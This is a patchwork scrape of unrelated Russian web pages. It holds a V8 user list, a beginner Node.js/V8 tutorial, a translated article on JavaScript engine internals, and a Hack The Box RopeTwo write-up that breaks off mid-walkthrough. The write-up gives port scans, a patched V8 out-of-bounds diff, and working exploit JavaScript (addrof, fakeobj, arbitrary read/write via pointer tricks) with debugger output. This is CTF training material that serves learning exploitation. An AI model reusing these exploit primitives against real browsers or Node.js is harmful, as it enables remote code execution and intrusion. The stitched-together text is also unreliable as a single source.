  • Maxthon — веб-браузер со встроенным блокиратором рекламы, использующий два движка рендеринга: WebKit и Trident.[21]
  • Браузер Android[22] — мобильный браузер, входящий в Android OS

Операционные системы

  • Android OS — операционная система от Google, предназначенная для коммуникаторов, нетбуков и планшетов. Используется в браузере, начиная с Froyo.
  • HP webOS — операционная система от Hewlett-Packard для коммуникаторов, нетбуков и планшетов. Движок V8 используется в браузере Web.
  • Google Chrome OS — операционная система от Google на базе проекта Chromium, ориентированная на облачные сервисы. V8 является важным компонентом ОС.

См. также

Примечания

Ссылки

NodeJS. Движок V8.

Вы здесь: Главная — JavaScript — JavaScript Основы — NodeJS. Движок V8.

Всем привет! В этой статье мы поговорим о том, что такое движок V8 и какую роль он играет в платформе NodeJS.

Что такое движок JavaScript?

Чтобы понять, как работает платформа NodeJS, мы немножко рассмотрим работу движка, на котором она основана.

Для начала нам нужно понять, что вообще такое движок javascript? На самом деле, здесь нет ничего необычного. Все дело в том, что компьютеры сами по себе не понимают javascript, т.к. это язык высокого уровня. Чтобы компьютер смог понять, что от него требуется, и существует движок, который берет написанный на javascript код и конвертирует его в машинный, понятный компьютеру код. Это выглядит примерно так: сначала у нас есть javascript код, потом платформа, написанная на C++, далее язык ассемблера, а уже потом машинный код. И каждый раз, когда вы компилируете свой код, он проходит от верхнего уровня к нижнему.

Что такое V8 Engine?

Итак, что же такое V8 Engine? V8 Engine – это высокопроизводительный движок от корпорации Google с открытым исходным кодом. Он написан на C++ и используется в Google Chrome. Движок может работать автономно или быть установлен в любое C++ приложение.

Таким образом, чтобы javascript код был понятен компьютеру, платформа NodeJS, написанная на C++, берет его и передает движку V8, который преобразовывает язык высокого уровня в низкоуровневый машинный код.

Заключение

Итак, на этом сегодня, пожалуй, все. Мы рассмотрели, что такое V8 Engine и зачем он нужен в платформе NodeJS, а в следующей статье поговорим про глобальный объект.

Спасибо за внимание!

  • Создано 15.06.2016 19:30:03
  • Михаил Русаков
Предыдущая статья Следующая статья

Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!

Добавляйтесь ко мне в друзья ВКонтакте: http://vk.com/myrusakov.
Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.

Если Вы не хотите пропустить новые материалы на сайте,
то Вы можете подписаться на обновления: Подписаться на обновления

Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.

Порекомендуйте эту статью друзьям:

Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):

  1. Кнопка:
    <a href=»https://myrusakov.ru» target=»_blank»><img src=»https://myrusakov.ru/images/button.gif» alt=»Как создать свой сайт» /></a>

    Она выглядит вот так:

  2. Текстовая ссылка:
    <a href=»https://myrusakov.ru» target=»_blank»>Как создать свой сайт</a>

    Она выглядит вот так: Как создать свой сайт

  3. BB-код ссылки для форумов (например, можете поставить её в подписи):
    [URL=»https://myrusakov.ru»]Как создать свой сайт[/URL]

Движок JavaScript: что внутри

Введение

Чтобы разобраться в том, как работает механизм обработки кода (иначе говоря, движок JavaScript), надо понять, что происходит при выполнении кода. Такие знания помогают программистам писать лучший, более быстрый и умный код.

Движки JavaScript — это не что иное, как программы, преобразующие код на JavaScript в код более низкого уровня, который компьютер сможет понять. Эти движки встроены в браузеры и веб-серверы (Node.js), что даёт возможность выполнять код и осуществлять компиляцию во время выполнения.

Разве JavaScript — это не интерпретируемый язык?

Краткий ответ: это зависит от реализации. Обычно JavaScript относят к интерпретируемым языкам, хотя вообще-то он компилируется. Современные компиляторы JavaScript фактически выполняют JIT-компиляцию, т.е. компиляцию «на лету», которая осуществляется во время работы программы.

Движок

Существует множество разных движков. У каждого из них внутри есть что-то вроде конвейера с интерпретатором и конвейера с оптимизатором и компилятором. Интерпретатор генерирует байт-код, а оптимизатор выдаёт оптимизированный машинный код. Далее в статье в качестве примера будет использоваться движок V8.

V8 — это высокопроизводительный движок от Google с открытым исходным кодом JavaScript и WebAssembly, написанный на языке C++.Он используется в Chrome, Node.js и других платформах и реализует ECMAScript и WebAssembly (см.v8.dev).

Что внутри движка

Всякий раз, когда JavaScript-код отправляется в движок V8, он проходит ряд этапов для отображения console.log:

Парсер

Движок выполняет то, что мы называем лексическим анализом. Это первое, что происходит с файлом JavaScript при попадании в движок. Код разбивается на части, называемые токенами, для выявления их назначения, после чего мы узнаём, что код пытается сделать.

Абстрактное синтаксическое дерево (AST)

На основе этих токенов создаётся то, что мы называем AST. Синтаксическое дерево — это древовидное представление синтаксической структуры кода JavaScript, и мы можем использовать этот инструмент для анализа преобразования кода AST.

Интерпретатор

Интерпретатор читает файлы JavaScript построчно и преобразовывает их на ходу (во время работы программы, не прерывая её выполнение). На основе сгенерированного кода AST интерпретатор начинает быстро создавать байт-код. Никаких оптимизаций здесь не выполняется, так что байт-код этот неоптимизированный.

Байт-код не является таким низкоуровневым, как машинный код, но всё же может быть интерпретирован движком JavaScript для выполнения кода.

Профайлер

Профайлер отвечает за проверку кода. Он вызывает специальное средство контроля, которое отслеживает код и наблюдает за ходом его выполнения, обращая наше внимание на то, как можно оптимизировать код. Выдаёт, например, информацию о том, сколько раз код запускался, какие типы используются и как мы можем его оптимизировать?

Так что, если профайлер находит часть кода, которую можно оптимизировать, он передаёт этот код JIT-компилятору, чтобы он мог быть скомпилирован и выполнялся быстрее. Рассмотрим эти конвейеры с интерпретатором и компилятором более подробно.

Оптимизирующий компилятор

Задача оптимизирующего компилятора — определить, что делает программа, подлежащая оптимизации, и создать из неё оптимизированную программу, выполняющую всё то же самое, только быстрее.

Он не преобразует файлы на лету. Он делает свою работу заранее, создавая преобразование только что написанного кода и компилируя его в язык, понятный для компьютера.

Деоптимизация

Оптимизирующий компилятор на основе имеющихся у него данных профилирования делает определённые предположения, а затем выдаёт высокооптимизированный машинный код. Но вполне возможно, что в какой-то момент одно из предположений окажется неверным. И тогда оптимизирующий компилятор может деоптимизировать код.

Объектная модель JavaScript

JavaScript — это динамический язык программирования, а это подразумевает, что свойства могут легко добавляться или удаляться из объекта после его создания. Для написания более лучшего кода надо понимать, как JavaScript определяет объекты и как движок работает с объектами и свойствами.

  • Enumerable → определяет, перечисляется ли свойство в циклах forin.
  • Value → само значение.
  • Writable → определяет, можно ли свойство изменить.
  • Configurable → определяет, можно ли удалить свойство.

Оптимизация доступа к свойству

В динамических языках, таких как JavaScript, для доступа к свойствам требуется ряд инструкций. Поэтому почти в каждом движке имеется оптимизация для ускорения этого доступа. Такая оптимизация в V8 реализуется скрытыми классами: V8 присоединяет скрытый класс к каждому отдельному объекту. Целью скрытых классов является оптимизация времени доступа к свойствам.

Скрытые классы работают аналогично фиксированным макетам (классам) объектов, используемым в таких языках, как Java (за исключением того, что они создаются во время выполнения). Магия здесь в том, что несколько объектов могут иметь один и тот же скрытый класс, поэтому необходимы только минимальные ресурсы, а код становится быстрее:

Выгода становится очевидной, когда объектов много. Ведь пока у них один и тот же скрытый класс, информацию приходится сохранять только один раз независимо от того, сколько всего имеется объектов!

Тема оптимизации очень обширна и может стать предметом обсуждения отдельной статьи. 

Встроенные кэши

Цель встроенного кэширования в том, чтобы ускорить привязку метода времени выполнения. Происходит это за счёт запоминания результатов поиска предыдущего метода непосредственно в месте вызова.Встроенное кэширование особенно полезно для динамически типизированных языков, где большинство, если не все привязки методов происходят во время выполнения и где виртуальные таблицы методов часто не могут быть использованы.

Основная причина существования скрытых классов — концепция встроенных кэшей. Движки JavaScript используют встроенные кэши для запоминания информации о том, где найти свойства в объектах. Поэтому нет необходимости повторять дорогостоящий поиск свойств при каждом доступе к ним. Зачем каждый раз искать свойства, когда со встроенными кэшами это значительно быстрее?

Выводы

  • инициализировать объекты лучше всегда одним и тем же способом, чтобы скрытые классы у них не были разными;
  • с атрибутами свойств элементов массива надо быть осторожным, чтобы они могли аккуратно сохраняться, а работа с ними была эффективной.

Читайте также:


Перевод статьи Leonardo Freitas: Inside the JavaScript Engine

Разбираем V8. Заглядываем под капот Chrome на виртуалке с Hack The Box — «Хакер»

Речь, конеч­но же, пой­дет не о цилин­драх и кла­панах. В этой статье мы погово­рим о Google V8 Engine — движ­ке JS, который сто­ит в Chromium и Android. Вер­нее, мы будем ломать его на самой слож­ной в рей­тин­ге сооб­щес­тва Hack The Box тач­ке RopeTwo. Ты узна­ешь, какие типы дан­ных есть в движ­ке, как мож­но ими манипу­лиро­вать, что­бы заг­рузить в память свой экс­пло­ит, научишь­ся исполь­зовать механиз­мы отладки V8, узна­ешь, что такое WebAssembly и как про­ник­нуть бла­года­ря это­му в шелл RopeTwo.

 

Разведка

На­чина­ем, как всег­да, со ска­ниро­вания пор­тов. Оче­вид­но, что на машине такого уров­ня необ­ходимо прой­тись по всем пор­там (TCP + UDP 1–65 535). Для это­го удоб­но исполь­зовать masscan — быс­трый ска­нер пор­тов:

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
— forced options: -sS -Pn -n —randomize-hosts -v —send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196

Ви­дим, что откры­то все­го пять пор­тов TCP. Прос­каниру­ем их с прис­трас­тием хорошо всем извес­тным ска­нером Nmap, что­бы узнать под­робнос­ти.

nmap -n -v -Pn -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0.14.1 Python/3.7.3
|_http-title: Home
8060/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ви­дим SSH, три веб‑сер­вера и неиз­вес­тный порт. Идем смот­реть, что нам покажет бра­узер.

На 5000-м портe нас пред­ска­зуемо ждет GitLab, мы это видели в отче­те Nmap.

На 5000-м пор­те — при­ветс­твие GitLab

На 8000-м пор­те — веб‑сер­вер на Python Werkzeug (WSGI) показы­вает нам прос­тень­кий сайт по раз­работ­ке V8 — движ­ка JavaScript с откры­тыми исходни­ками, который раз­рабаты­вают в Google для исполь­зования в бра­узе­ре Chrome и дру­гих про­ектах. Под­робнее о нем мож­но почитать на офи­циаль­ном сай­те.

На 8000-м пор­те — стра­ница с исходни­ками и кон­такта­ми

Прок­рутив стра­ницу, видим ссыл­ку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.

Ссыл­ка на исходный код

На 8060-м пор­те мы видим 404 Not Found. Порт 9094 на зап­росы отве­чать не хочет.

По тра­диции добавим най­ден­ный домен в /etc/hosts:

10.10.10.196 rope2.htb gitlab.rope2.htb

 

Плацдарм

Раз нам пред­лага­ют пос­мотреть исходные коды, грех не вос­поль­зовать­ся такой воз­можностью.

Ре­пози­торий с исходни­ками V8

Мы видим исходные коды V8 и отдель­ную вет­ку, соз­данную авто­ром ВМ, которая содер­жит один ком­мит с неболь­шими изме­нени­ями. Оче­вид­но, что эти изме­нения дол­жны нам помочь. Изме­нены все­го четыре фай­ла, пос­мотрим на них вни­матель­нее.

Из­менения src/builtins/builtins-definitions.h

В фай­ле заголов­ков добав­лены две фун­кции для работы с мас­сивами: ArrayGetLastElement и ArraySetLastElement. CPP — это мак­рос, который добав­ляет записи этих фун­кций в мас­сив метадан­ных.

Из­менения src/init/bootstrapper.cc

Ин­стал­лиру­ем про­тоти­пы GetLastElement и SetLastElement в качес­тве встро­енных фун­кций.

Из­менения src/compiler/typer.cc

Оп­ределя­ем вызовы фун­кций.

Из­менения src/builtins/builtins-array.cc

Вот мы и доб­рались до самого инте­рес­ного — исходно­го кода самих фун­кций. Фун­кция GetLastElement кон­верти­рует мас­сив в FixedDoubleArray и воз­вра­щает его пос­ледний эле­мент — array[length]. Фун­кция SetLastElement записы­вает передан­ное ей зна­чение в пос­ледний эле­мент array[length] с типом float. Поп­робуй, не читая даль­ше, догадать­ся, в чем тут под­вох.

Пос­коль­ку у меня не было глу­боких зна­ний движ­ка V8, приш­лось прив­лекать на помощь интернет. По клю­чевым выраже­ниям из при­веден­ных выше исходни­ков я доволь­но быс­тро нашел отличный рай­тап Фараза Абра­ра Exploiting v8: *CTF 2019 oob-v8, ком­мит с изме­нени­ями в котором как две кап­ли воды похож на наш.

Я уже пред­вку­шал лег­кую победу, но не тут‑то было. Не буду под­робно рас­писывать весь про­цесс, так как он деталь­но изло­жен в рай­тапе, толь­ко крат­ко зат­рону основные момен­ты и оста­нов­люсь под­робнее на клю­чевых отли­чиях.

Итак, основное отли­чие в ком­митах толь­ко в том, что в рай­тапе за чте­ние и запись эле­мен­тов в мас­сив отве­чает лишь одна фун­кция, которая выпол­няет то или иное дей­ствие в зависи­мос­ти от количес­тва передан­ных ей перемен­ных.

Уяз­вимость же в них одна и та же. Наде­юсь, ты уже догадал­ся, какая? Пос­коль­ку адре­сация мас­сива начина­ется с 0, то array[length] поз­воля­ет нам читать и писать один эле­мент вне гра­ниц мас­сива. Оста­лось понять, как мы можем это исполь­зовать.

 

Поднимаем стенд

Для начала ска­чива­ем diff-файл.

Ска­чива­ем diff

На­зовем файл v8.diff, в кон­це добавим допол­нитель­ный перенос стро­ки, что­бы git apply не ругал­ся.

Да­лее выпол­няем сле­дующие коман­ды (стенд я раз­вернул на Ubuntu 19.04):

artex@ubuntu:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
artex@ubuntu:~/tools$ echo «export PATH=/home/artex/depot_tools:$PATH» >> ~/.bashrc
artex@ubuntu:~/tools$ source ~/.bashrc

artex@ubuntu:~$ fetch v8
artex@ubuntu:~$ cd v8
artex@ubuntu:~/v8$ ./build/install-build-deps.sh
artex@ubuntu:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
artex@ubuntu:~/v8$ gclient sync
artex@ubuntu:~/v8$ git apply —ignore-space-change —ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.debug
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.debug # Debug version

Вни­мание: ком­пиляция каж­дого релиза может выпол­нять­ся нес­коль­ко часов!

 

Пишет эксплоит

Пер­вое, что нам необ­ходимо, — добить­ся утеч­ки адре­са мас­сива. Для это­го напишем скрипт, осно­ван­ный на рай­тапе Фараза. Смысл в том, что­бы изме­нить ука­затель obj_array_map мас­сива obj_array на float_array_map мас­сива float_array, так как струк­тура Map у этих объ­ектов отли­чает­ся.

Очень важ­ный момент, на котором осно­вана экс­плу­ата­ция, — в то вре­мя как зап­рос нулево­го индекса float_array воз­вра­щает зна­чение эле­мен­та мас­сива, нулевой индекс obj_array воз­вра­щает ука­затель на объ­ект (который потом пре­обра­зует­ся в зна­чение). И если мы под­меним кар­ту (Map) obj_array кар­той float_array и обра­тим­ся к нулево­му индексу, мы получим не зна­чение эле­мен­та мас­сива, а ука­затель объ­екта в виде float! А бла­года­ря най­ден­ной уяз­вимос­ти заменить кар­ту тру­да не сос­тавля­ет, так как она находит­ся за эле­мен­тами мас­сива в струк­туре JSArray.

var buf = new ArrayBuffer(8);

var f64_buf = new Float64Array(buf);

var u64_buf = new Uint32Array(buf);

function ftoi(val) {

f64_buf[0] = val;

return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);

}

function itof(val) {

u64_buf[0] = Number(val & 0xffffffffn);

u64_buf[1] = Number(val >> 32n);

return f64_buf[0];

}

var obj = {"A":1};

var obj_arr = [obj];

var float_arr = [1.1, 1.2, 1.3, 1.4];

var obj_arr_map = obj_arr.GetLastElement();

var float_arr_map = float_arr.GetLastElement();

function addrof(in_obj) {

obj_arr[0] = in_obj;

obj_arr.SetLastElement(float_arr_map);

let addr = obj_arr[0];

obj_arr.SetLastElement(obj_arr_map);

return ftoi(addr);

}

var arr = [5.5, 5.5, 5.5, 5.5];

console.log(addrof(arr).toString(16));

console.log(%DebugPrint(arr));

Про­буем запус­тить наш скрипт и… получа­ем SEGV_ACCERR:

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8

==== C stack trace ===============================

[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)

Ключ --allow-natives-syntax поз­воля­ет выпол­нять %DebugPrint() — фун­кцию, которая выводит отла­доч­ную информа­цию об объ­ектах в V8.

Тут мне ста­ло инте­рес­но, что получит­ся, если я заменю diff с HTB oob.diff. Если хочешь пов­торить мой экспе­римент, соз­дай клон ВМ и выпол­ни коман­ды

artex@ubuntu:~/v8$ git apply -R --ignore-space-change --ignore-whitespace ../v8.diff
artex@ubuntu:~/v8$ git apply ../oob.diff
artex@ubuntu:~/v8$ ./tools/dev/v8gen.py x64.release
artex@ubuntu:~/v8$ ninja -C ./out.gn/x64.release # Release version

Но перед этим необ­ходимо внес­ти сле­дующие прав­ки в oob.diff, так как струк­тура фай­лов и их содер­жимое в новой вер­сии нем­ного поменя­лись.

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc

index b027d36..ef1002f 100644

--- a/src/init/bootstrapper.cc

+++ b/src/init/bootstrapper.cc

@@ -1668,6 +1668,8 @@ void Genesis::

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h

index 0447230..f113a81 100644

--- a/src/builtins/builtins-definitions.h

+++ b/src/builtins/builtins-definitions.h

@@ -319,6 +319,7 @@ namespace internal {

TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \

/* ES6 #sec-array.prototype.push */ \

CPP(ArrayPush) \

+ CPP(ArrayOob) \

TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \

/* ES6 #sec-array.prototype.shift */ \

CPP(ArrayShift)

Так­же в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc нуж­но испра­вить length()->Number() на length().Number():

+ uint32_t length = static_cast<uint32_t>(array->length().Number());

Как и сле­дова­ло ожи­дать, поменяв в скрип­те наз­вания фун­кций на oob и запус­тив его, я получил тот же резуль­тат! Вывод один — про­изош­ли изме­нения в самом движ­ке V8.

Тут надо упо­мянуть, что в OOB исполь­зовалась вер­сия V8 version 7.5.0, а в нашем слу­чае — V8 version 8.5.0. Поэто­му прос­то взять экс­пло­ит, запус­тить и получить вож­делен­ный шелл не получит­ся.

Приш­лось перечи­тать мас­су информа­ции, преж­де чем приш­ло понима­ние: раз­гадка кро­ется в ком­прес­сии ука­зате­лей, которая появи­лась в новой вер­сии V8.

Что это — опи­сано чуть ниже. Сей­час же дос­таточ­но понять, что в новой вер­сии эле­мен­ты мас­сива float_array 64-бит­ные, а obj_array — толь­ко 32-бит­ные. Поэто­му, что­бы раз­мерность мас­сивов сов­падала, нуж­но добавить еще один эле­мент в мас­сив obj_array.

Итак, испра­вим var obj_arr = [obj]; на var obj_arr = [obj, obj];

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b0800212000000
0x193108086721 <Array map = 0x193108241909>

Segmentation fault боль­ше нет, но адре­са не сов­пада­ют. Догады­ваешь­ся почему? Добавив еще один эле­мент в мас­сив, мы изме­нили его дли­ну, и фун­кция SetLastElement записы­вает зна­чение не туда, куда нам тре­бует­ся (а тре­бует­ся, как ты пом­нишь, заменить ука­затель на объ­ект Map, который рас­положен в памяти сра­зу пос­ле самих эле­мен­тов мас­сива).

К счастью, мы можем лег­ко это испра­вить, добавив строч­ку obj_arr.length = 1;.

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d
0x0c2b0808671d <JSArray[4]>
5.5,5.5,5.5,5.5

Бин­го! Если пос­мотреть вни­матель­но, то млад­шие 32 бита сов­пада­ют! А стар­шие не сов­пада­ют, как уже был ска­зано выше, из‑за ком­прес­сии ука­зате­лей.

Не буду опи­сывать, что такое ком­прес­сия ука­зате­лей, Фараз под­робно написал об этом в дру­гой статье.

Для наг­ляднос­ти и луч­шего понима­ния я схе­матич­но изоб­разил, как пред­став­лен в памяти мас­сив объ­ектов и мас­сив чисел с пла­вающей точ­кой (float).

Струк­тура мас­сивов Obj и Float

Ес­ли вкрат­це, этот механизм поз­воля­ет повысить про­изво­дитель­ность движ­ка V8. Стар­шие 32 бита кучи (heap) всег­да оста­вались оди­нако­выми при каж­дом запус­ке движ­ка. Поэто­му раз­работ­чики решили, что нет смыс­ла опе­риро­вать 64-бит­ными ука­зате­лями, пос­коль­ку это лиш­няя тра­та ресур­сов, и вве­ли понятие isolate root — стар­шие 32 бита адре­са, которые всег­да оди­нако­вы и хра­нят­ся в регис­тре R13 (его обоз­вали root register). Поэто­му, что­бы получить пра­виль­ный 64-бит­ный адрес, нам нуж­но было бы зап­росить стар­шие 32 бита в R13. Но это делать необя­затель­но.

Как же нам вый­ти за пре­делы 32-бит­ного прос­транс­тва кучи, спро­сишь ты? Есть спо­соб, который зак­люча­ется в соз­дании объ­екта ArrayBuffer и переза­писи его ука­зате­ля backing_store. Этот ука­затель алло­циру­ет фун­кция PartitionAlloc, которая работа­ет с адре­сами вне кучи. Поэто­му, исполь­зуя объ­ект DataView для записи в память с переза­писан­ным backing_store, мы можем получить при­митив про­изволь­ного чте­ния и записи!

Окей, у нас есть фун­кция addrof, и, если мы инверти­руем ее логику (поменя­ем мес­тами мас­сив объ­ектов и мас­сив float), мы получим фун­кцию fakeobj, которая поможет нам читать из про­изволь­ных учас­тков памяти и писать в них:

function fakeobj(addr) {

float_arr[0] = itof(addr);

float_arr.SetLastElement(obj_arr_map);

let fake = float_arr[0];

float_arr.SetLastElement(float_arr_map);

return fake;

}

var a = [1.1, 1.2, 1.3, 1.4];

var float_arr = [1.1, 1.2, 1.3, 1.4];

var float_arr_map = float_arr.GetLastElement();

var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];

console.log("0x"+addrof(crafted_arr).toString(16));

var fake = fakeobj(addrof(crafted_arr)-0x20n);

До­бавим код лис­тинга к пре­дыду­щему и пос­мотрим, что получи­лось.

За­пус­тим скрипт с помощью отладчи­ка.

artex@ubuntu:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)
d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1 (игнорируем один бит из-за тегирования)
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <— нулевой эле­мент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002

Те­гиро­вание ука­зате­лей — это механизм в V8, который нужен для раз­личения типов double, SMI (small integer) и pointer. Из‑за вырав­нивания ука­зате­ли обыч­но ука­зыва­ют на учас­тки памяти, крат­ные 4 и 8. А это зна­чит, что пос­ледние 2–3 бита всег­да рав­ны нулю. V8 исполь­зует это свой­ство, «вклю­чая» пос­ледний бит для обоз­начения ука­зате­ля. Поэто­му для получе­ния исходно­го адре­са нам нуж­но вычесть из тегиро­ван­ного адре­са еди­ницу.

Про­буем записать вто­рой эле­мент (ука­затель на elements) и про­читать его:

crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);

"0x"+ftoi(fake[0]).toString(16);

Но не тут‑то было, опять получа­ем Segmentation fault.

Тут я надол­го завис с дебаг­гером, пока не вспом­нил о новом раз­мере ука­зате­лей. Ведь раз­мерность эле­мен­тов мас­сива float — 64 бита, поэто­му при замене кар­ты мас­сива на мес­те пер­вого эле­мен­та float ока­зыва­ется вто­рой эле­мент мас­сива obj, в котором раз­мерность эле­мен­тов — 32 бита. Сле­дова­тель­но, записав адрес в пер­вый индекс мас­сива float, мы получим ссыл­ку на elements мас­сива obj.

Дос­таточ­но поменять crafted_arr[2] на crafted_arr[1], и все нач­нет работать как положе­но. А что­бы про­читать жела­емое зна­чение (нулево­го эле­мен­та fake), нуж­но соот­ветс­твен­но поменять и сме­щение elements с 0x10 на 0x08 (так как ука­затель теперь 32-бит­ный). Про­буем.

d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310
-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <— записа­ли адрес для чте­ния
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
d8> "0x"+ftoi(fake[0]).toString(16);
«0x80406e908241909» <— и успешно про­чита­ли зна­чение, на которое он ука­зыва­ет

Объ­ясню под­робнее, как это работа­ет. Соз­дадим мас­сив float и пос­мотрим на отла­доч­ную информа­цию. Запус­кать необ­ходимо в дебаг‑релизе, что­бы уви­деть под­робный вывод %DebugPrint() об адре­сах.

pwndbg> file d8
Reading symbols from d8…
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 —shell —allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».
var a = [1.1, 1.2, 1.3, 1.4];
[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)
d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
0: 1.1
1: 1.2
2: 1.3
3: 1.4
}

Ви­дим, что сме­щение elements от начала струк­туры JSArray рав­но 0x28:

0x274a080c5e51-0x274a080c5e29 == 0x28

Пос­мотрим на эле­мен­ты мас­сива, которые находят­ся в памяти перед струк­турой JSArray:

pwndbg> x/10gx 0x274a080c5e51-1-0x28 (игнорируем один бит из-за тегирования)
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e

Ну­левой эле­мент мас­сива рас­положен по адре­су

index 0 == 0x274a080c5e30 == elements + 0x08

Пред­положим, мы помес­тим fake_object по адре­су 0x274a080c5e30. Если далее мы заменим в fake_object кар­ту float_arr_map на obj_arr_map (при этом мы затира­ем поле properties, но это нек­ритич­но), то пер­вый индекс мас­сива crafted_arr будет содер­жать ука­затель на эле­мен­ты fake_object, так как раз­мерность ука­зате­лей — 32 бита, а эле­мен­тов мас­сива Float — 64 бита. Поэто­му, обра­тив­шись к fake_object[0], мы про­чита­ем зна­чение по адре­су, который запишем в пер­вый индекс crafted_arr.
Схе­матич­но это мож­но изоб­разить так.

Струк­тура мас­сива для про­изволь­ного чте­ния и записи

Что ж, теперь с помощью вспо­мога­тель­ных фун­кций, которые я не буду под­робно опи­сывать (в кон­це раз­дела будет лис­тинг с ком­мента­риями), мы можем писать и читать про­изволь­ные адре­са!

Ос­талось най­ти область памяти, которая бы поз­воляла еще и выпол­нить в ней наш код (rwx). И такая область есть, с ней работа­ет модуль WebAssembly.

